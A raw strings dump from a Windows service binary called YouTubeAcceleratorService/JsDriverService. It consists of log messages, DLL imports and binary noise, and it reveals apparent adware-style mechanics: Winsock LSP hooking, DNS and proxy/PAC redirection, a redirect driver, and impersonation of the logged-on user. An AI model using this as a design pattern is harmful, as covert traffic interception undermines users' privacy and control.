[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

S.gL3C

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

jsdrv.exe_3580:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@u'

j.hHc(

j.hX")

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

[CMutexLock::Open] ___Error %d, CreateMutex: %s

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

[CAcceleratorEvents::ReportStatistics]

[CAcceleratorEvents::OnReportNoAccelerationReason] %s

[CSaveWatchUrl::Work] Saving Info...

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

[CLspController::SetRedirectFilter] IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CLspController::SetVersionStatus] VesrionStatus = %d

[CLspController::GetVersionStatus] VesrionStatus = %d

[CLspController::UpdateVersionStatus] Status: %d (%d)

[CLspController::UpdateVersionStatus] New Status: %d

[CLspController::IsToAccelerate] Local ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Global ---@@@ IP: %u.%u.%u.%u, Port: %u @@@, Protocol: %u ---

[CLspController::IsToAccelerate] Partner ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] iTunes ---@@@ IP: %u.%u.%u.%u, Port: %u @@@---

[CLspController::IsToAccelerate] returns FALSE - status passthrough

[CLspController::IsToAccelerate] returns FALSE - g_PassThrough exists

[CLspController::IsToAccelerate] IP: %u.%u.%u.%u, Port: %u

[CLspController::StartAccelerationsEvent] ___Error OSSetEvent failed: %d

[CLspController::InitTunnelingState] g_PassThrough[ %s ] = %d

[CLspController::IsPartner] partner = %d

[CLspController::UpdateXMLRulesVersion] Version: %s (%s)

[CLspController::UpdateXMLRulesVersion] New Version: %s

[CLspController::IsIgnored] ---@@@ Port: %u @@@---

Downloader.exe

RecordingManager.exe

WebKit2WebProcess.exe

firefox.exe

iTunes.exe

[CLspController::DoLoad] Hook status %d

VVV.youtube.com

[CLspController::DoLoad] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::SetPassThrough] g_PassThrough[ %s ] = %d

PassThroughState

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData is Read-Only

[CLspController::SetPassThrough] ___Error m_smGlobalAccelerationData == NULL

[CLspController::SetPassThrough]

[CLspController::UpdatedPartnerDisableList] PartnerDisableList = %s

[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

